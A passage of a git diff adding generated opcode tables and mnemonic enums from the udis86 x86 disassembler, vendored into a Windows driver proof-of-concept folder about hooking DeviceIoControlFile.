O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 54 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 55 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 56 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 57 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 58 */ { UD_Iaddss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 59 */ { UD_Imulss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5A */ { UD_Icvtss2sd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5B */ { UD_Icvttps2dq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5C */ { UD_Isubss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5D */ { UD_Iminss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5E */ { UD_Idivss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5F */ { UD_Imaxss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 60 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 61 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 62 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 63 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 64 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 65 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 66 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 67 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 68 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 69 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6F */ { UD_Imovdqu, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 70 */ { UD_Ipshufhw, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 71 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 72 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 73 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 74 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 75 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 76 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 77 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 78 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 79 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7E */ { UD_Imovq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 7F */ { UD_Imovdqu, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 80 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 81 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 82 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 83 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 84 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 85 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 86 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 87 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 88 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 89 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 90 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 91 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 92 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 93 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 94 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 95 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 96 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 97 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 98 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 99 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C0 */ { UD_Ixadd, O_Eb, O_Gb, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* C1 */ { UD_Ixadd, O_Ev, O_Gv, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* C2 */ { UD_Icmpss, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* C3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C7 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSEF3__0F__OP_C7__REG }, + /* C8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D6 */ { UD_Imovq2dq, O_V, O_PR, O_NONE, P_aso }, + /* D7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E6 */ { UD_Icvtdq2pd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* ED */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__pfx_ssef3__0f__op_c7__reg[8] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSEF3__0F__OP_C7__REG__OP_07__VENDOR }, +}; + +static struct ud_itab_entry itab__pfx_ssef3__0f__op_c7__reg__op_07__vendor[2] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Ivmxon, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, +}; + +/* the order of this table matches enum ud_itab_index */ +struct ud_itab_entry * ud_itab_list[] = { + itab__0f, + itab__0f__op_00__reg, + itab__0f__op_01__reg, + itab__0f__op_01__reg__op_00__mod, + itab__0f__op_01__reg__op_00__mod__op_01__rm, + itab__0f__op_01__reg__op_00__mod__op_01__rm__op_01__vendor, + itab__0f__op_01__reg__op_00__mod__op_01__rm__op_03__vendor, + itab__0f__op_01__reg__op_00__mod__op_01__rm__op_04__vendor, + itab__0f__op_01__reg__op_01__mod, + itab__0f__op_01__reg__op_01__mod__op_01__rm, + itab__0f__op_01__reg__op_02__mod, + itab__0f__op_01__reg__op_03__mod, + itab__0f__op_01__reg__op_03__mod__op_01__rm, + itab__0f__op_01__reg__op_03__mod__op_01__rm__op_00__vendor, + itab__0f__op_01__reg__op_03__mod__op_01__rm__op_01__vendor, + itab__0f__op_01__reg__op_03__mod__op_01__rm__op_02__vendor, + itab__0f__op_01__reg__op_03__mod__op_01__rm__op_03__vendor, + itab__0f__op_01__reg__op_03__mod__op_01__rm__op_04__vendor, + itab__0f__op_01__reg__op_03__mod__op_01__rm__op_05__vendor, + itab__0f__op_01__reg__op_03__mod__op_01__rm__op_06__vendor, + itab__0f__op_01__reg__op_03__mod__op_01__rm__op_07__vendor, + itab__0f__op_01__reg__op_04__mod, + itab__0f__op_01__reg__op_06__mod, + itab__0f__op_01__reg__op_07__mod, + itab__0f__op_01__reg__op_07__mod__op_01__rm, + itab__0f__op_01__reg__op_07__mod__op_01__rm__op_01__vendor, + itab__0f__op_0d__reg, + itab__0f__op_18__reg, + itab__0f__op_71__reg, + itab__0f__op_72__reg, + itab__0f__op_73__reg, + itab__0f__op_ae__reg, + itab__0f__op_ae__reg__op_05__mod, + itab__0f__op_ae__reg__op_05__mod__op_01__rm, + itab__0f__op_ae__reg__op_06__mod, + itab__0f__op_ae__reg__op_06__mod__op_01__rm, + itab__0f__op_ae__reg__op_07__mod, + itab__0f__op_ae__reg__op_07__mod__op_01__rm, + itab__0f__op_ba__reg, + itab__0f__op_c7__reg, + itab__0f__op_c7__reg__op_00__vendor, + itab__0f__op_c7__reg__op_07__vendor, + itab__0f__op_d9__mod, + itab__0f__op_d9__mod__op_01__x87, + itab__1byte, + itab__1byte__op_60__osize, + itab__1byte__op_61__osize, + itab__1byte__op_63__mode, + itab__1byte__op_6d__osize, + itab__1byte__op_6f__osize, + itab__1byte__op_80__reg, + itab__1byte__op_81__reg, + itab__1byte__op_82__reg, + itab__1byte__op_83__reg, + itab__1byte__op_8f__reg, + itab__1byte__op_98__osize, + itab__1byte__op_99__osize, + itab__1byte__op_9c__mode, + itab__1byte__op_9c__mode__op_00__osize, + itab__1byte__op_9c__mode__op_01__osize, + itab__1byte__op_9d__mode, + itab__1byte__op_9d__mode__op_00__osize, + itab__1byte__op_9d__mode__op_01__osize, + itab__1byte__op_a5__osize, + itab__1byte__op_a7__osize, + itab__1byte__op_ab__osize, + itab__1byte__op_ad__osize, + itab__1byte__op_ae__mod, + itab__1byte__op_ae__mod__op_00__reg, + itab__1byte__op_af__osize, + itab__1byte__op_c0__reg, + itab__1byte__op_c1__reg, + itab__1byte__op_c6__reg, + itab__1byte__op_c7__reg, + itab__1byte__op_cf__osize, + itab__1byte__op_d0__reg, + itab__1byte__op_d1__reg, + itab__1byte__op_d2__reg, + itab__1byte__op_d3__reg, + itab__1byte__op_d8__mod, + itab__1byte__op_d8__mod__op_00__reg, + itab__1byte__op_d8__mod__op_01__x87, + itab__1byte__op_d9__mod, + itab__1byte__op_d9__mod__op_00__reg, + itab__1byte__op_d9__mod__op_01__x87, + itab__1byte__op_da__mod, + itab__1byte__op_da__mod__op_00__reg, + itab__1byte__op_da__mod__op_01__x87, + itab__1byte__op_db__mod, + itab__1byte__op_db__mod__op_00__reg, + itab__1byte__op_db__mod__op_01__x87, + itab__1byte__op_dc__mod, + itab__1byte__op_dc__mod__op_00__reg, + itab__1byte__op_dc__mod__op_01__x87, + itab__1byte__op_dd__mod, + itab__1byte__op_dd__mod__op_00__reg, + itab__1byte__op_dd__mod__op_01__x87, + itab__1byte__op_de__mod, + itab__1byte__op_de__mod__op_00__reg, + itab__1byte__op_de__mod__op_01__x87, + itab__1byte__op_df__mod, + itab__1byte__op_df__mod__op_00__reg, + itab__1byte__op_df__mod__op_01__x87, + itab__1byte__op_e3__asize, + itab__1byte__op_f6__reg, + itab__1byte__op_f7__reg, + itab__1byte__op_fe__reg, + itab__1byte__op_ff__reg, + itab__3dnow, + itab__pfx_sse66__0f, + itab__pfx_sse66__0f__op_71__reg, + itab__pfx_sse66__0f__op_72__reg, + itab__pfx_sse66__0f__op_73__reg, + itab__pfx_sse66__0f__op_c7__reg, + itab__pfx_sse66__0f__op_c7__reg__op_00__vendor, + itab__pfx_ssef2__0f, + itab__pfx_ssef3__0f, + itab__pfx_ssef3__0f__op_c7__reg, + itab__pfx_ssef3__0f__op_c7__reg__op_07__vendor, +}; diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/itab.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/itab.h new file mode 100644 index 00000000..737112c6 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/itab.h @@ -0,0 +1,719 @@ + +/* itab.h -- auto generated by opgen.py, do not edit. */ + +#ifndef UD_ITAB_H +#define UD_ITAB_H + + + +enum ud_itab_vendor_index { + ITAB__VENDOR_INDX__AMD, + ITAB__VENDOR_INDX__INTEL, +}; + + +enum ud_itab_mode_index { + ITAB__MODE_INDX__16, + ITAB__MODE_INDX__32, + ITAB__MODE_INDX__64 +}; + + +enum ud_itab_mod_index { + ITAB__MOD_INDX__NOT_11, + ITAB__MOD_INDX__11 +}; + + +enum ud_itab_index { + ITAB__0F, + ITAB__0F__OP_00__REG, + ITAB__0F__OP_01__REG, + ITAB__0F__OP_01__REG__OP_00__MOD, + ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM, + ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_01__VENDOR, + ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_03__VENDOR, + ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_04__VENDOR, + ITAB__0F__OP_01__REG__OP_01__MOD, + ITAB__0F__OP_01__REG__OP_01__MOD__OP_01__RM, + ITAB__0F__OP_01__REG__OP_02__MOD, + ITAB__0F__OP_01__REG__OP_03__MOD, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_00__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_01__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_02__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_03__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_04__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_05__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_06__VENDOR, + ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_07__VENDOR, + ITAB__0F__OP_01__REG__OP_04__MOD, + ITAB__0F__OP_01__REG__OP_06__MOD, + ITAB__0F__OP_01__REG__OP_07__MOD, + ITAB__0F__OP_01__REG__OP_07__MOD__OP_01__RM, + ITAB__0F__OP_01__REG__OP_07__MOD__OP_01__RM__OP_01__VENDOR, + ITAB__0F__OP_0D__REG, + ITAB__0F__OP_18__REG, + ITAB__0F__OP_71__REG, + ITAB__0F__OP_72__REG, + ITAB__0F__OP_73__REG, + ITAB__0F__OP_AE__REG, + ITAB__0F__OP_AE__REG__OP_05__MOD, + ITAB__0F__OP_AE__REG__OP_05__MOD__OP_01__RM, + ITAB__0F__OP_AE__REG__OP_06__MOD, + ITAB__0F__OP_AE__REG__OP_06__MOD__OP_01__RM, + ITAB__0F__OP_AE__REG__OP_07__MOD, + ITAB__0F__OP_AE__REG__OP_07__MOD__OP_01__RM, + ITAB__0F__OP_BA__REG, + ITAB__0F__OP_C7__REG, + ITAB__0F__OP_C7__REG__OP_00__VENDOR, + ITAB__0F__OP_C7__REG__OP_07__VENDOR, + ITAB__0F__OP_D9__MOD, + ITAB__0F__OP_D9__MOD__OP_01__X87, + ITAB__1BYTE, + ITAB__1BYTE__OP_60__OSIZE, + ITAB__1BYTE__OP_61__OSIZE, + ITAB__1BYTE__OP_63__MODE, + ITAB__1BYTE__OP_6D__OSIZE, + ITAB__1BYTE__OP_6F__OSIZE, + ITAB__1BYTE__OP_80__REG, + ITAB__1BYTE__OP_81__REG, + ITAB__1BYTE__OP_82__REG, + ITAB__1BYTE__OP_83__REG, + ITAB__1BYTE__OP_8F__REG, + ITAB__1BYTE__OP_98__OSIZE, + ITAB__1BYTE__OP_99__OSIZE, + ITAB__1BYTE__OP_9C__MODE, + ITAB__1BYTE__OP_9C__MODE__OP_00__OSIZE, + ITAB__1BYTE__OP_9C__MODE__OP_01__OSIZE, + ITAB__1BYTE__OP_9D__MODE, + ITAB__1BYTE__OP_9D__MODE__OP_00__OSIZE, + ITAB__1BYTE__OP_9D__MODE__OP_01__OSIZE, + ITAB__1BYTE__OP_A5__OSIZE, + ITAB__1BYTE__OP_A7__OSIZE, + ITAB__1BYTE__OP_AB__OSIZE, + ITAB__1BYTE__OP_AD__OSIZE, + ITAB__1BYTE__OP_AE__MOD, + ITAB__1BYTE__OP_AE__MOD__OP_00__REG, + ITAB__1BYTE__OP_AF__OSIZE, + ITAB__1BYTE__OP_C0__REG, + ITAB__1BYTE__OP_C1__REG, + ITAB__1BYTE__OP_C6__REG, + ITAB__1BYTE__OP_C7__REG, + ITAB__1BYTE__OP_CF__OSIZE, + ITAB__1BYTE__OP_D0__REG, + ITAB__1BYTE__OP_D1__REG, + ITAB__1BYTE__OP_D2__REG, + ITAB__1BYTE__OP_D3__REG, + ITAB__1BYTE__OP_D8__MOD, + ITAB__1BYTE__OP_D8__MOD__OP_00__REG, + ITAB__1BYTE__OP_D8__MOD__OP_01__X87, + ITAB__1BYTE__OP_D9__MOD, + ITAB__1BYTE__OP_D9__MOD__OP_00__REG, + ITAB__1BYTE__OP_D9__MOD__OP_01__X87, + ITAB__1BYTE__OP_DA__MOD, + ITAB__1BYTE__OP_DA__MOD__OP_00__REG, + ITAB__1BYTE__OP_DA__MOD__OP_01__X87, + ITAB__1BYTE__OP_DB__MOD, + ITAB__1BYTE__OP_DB__MOD__OP_00__REG, + ITAB__1BYTE__OP_DB__MOD__OP_01__X87, + ITAB__1BYTE__OP_DC__MOD, + ITAB__1BYTE__OP_DC__MOD__OP_00__REG, + ITAB__1BYTE__OP_DC__MOD__OP_01__X87, + ITAB__1BYTE__OP_DD__MOD, + ITAB__1BYTE__OP_DD__MOD__OP_00__REG, + ITAB__1BYTE__OP_DD__MOD__OP_01__X87, + ITAB__1BYTE__OP_DE__MOD, + ITAB__1BYTE__OP_DE__MOD__OP_00__REG, + ITAB__1BYTE__OP_DE__MOD__OP_01__X87, + ITAB__1BYTE__OP_DF__MOD, + ITAB__1BYTE__OP_DF__MOD__OP_00__REG, + ITAB__1BYTE__OP_DF__MOD__OP_01__X87, + ITAB__1BYTE__OP_E3__ASIZE, + ITAB__1BYTE__OP_F6__REG, + ITAB__1BYTE__OP_F7__REG, + ITAB__1BYTE__OP_FE__REG, + ITAB__1BYTE__OP_FF__REG, + ITAB__3DNOW, + ITAB__PFX_SSE66__0F, + ITAB__PFX_SSE66__0F__OP_71__REG, + ITAB__PFX_SSE66__0F__OP_72__REG, + ITAB__PFX_SSE66__0F__OP_73__REG, + ITAB__PFX_SSE66__0F__OP_C7__REG, + ITAB__PFX_SSE66__0F__OP_C7__REG__OP_00__VENDOR, + ITAB__PFX_SSEF2__0F, + ITAB__PFX_SSEF3__0F, + ITAB__PFX_SSEF3__0F__OP_C7__REG, + ITAB__PFX_SSEF3__0F__OP_C7__REG__OP_07__VENDOR, +}; + + +enum ud_mnemonic_code { + UD_I3dnow, + UD_Iaaa, + UD_Iaad, + UD_Iaam, + UD_Iaas, + UD_Iadc, + UD_Iadd, + UD_Iaddpd, + UD_Iaddps, + UD_Iaddsd, + UD_Iaddss, + UD_Iaddsubpd, + UD_Iaddsubps, + UD_Iand, + UD_Iandpd, + UD_Iandps, + UD_Iandnpd, + UD_Iandnps, + UD_Iarpl, + UD_Imovsxd, + UD_Ibound, + UD_Ibsf, + UD_Ibsr, + UD_Ibswap, + UD_Ibt, + UD_Ibtc, + UD_Ibtr, + UD_Ibts, + UD_Icall, + UD_Icbw, + UD_Icwde, + UD_Icdqe, + UD_Iclc, + UD_Icld, + UD_Iclflush, + UD_Iclgi, + UD_Icli, + UD_Iclts, + UD_Icmc, + UD_Icmovo, + UD_Icmovno, + UD_Icmovb, + UD_Icmovae, + UD_Icmovz, + UD_Icmovnz, + UD_Icmovbe, + UD_Icmova, + UD_Icmovs, + UD_Icmovns, + UD_Icmovp, + UD_Icmovnp, + UD_Icmovl, + UD_Icmovge, + UD_Icmovle, + UD_Icmovg, + UD_Icmp, + UD_Icmppd, + UD_Icmpps, + UD_Icmpsb, + UD_Icmpsw, + UD_Icmpsd, + UD_Icmpsq, + UD_Icmpss, + UD_Icmpxchg, + UD_Icmpxchg8b, + UD_Icomisd, + UD_Icomiss, + UD_Icpuid, + UD_Icvtdq2pd, + UD_Icvtdq2ps, + 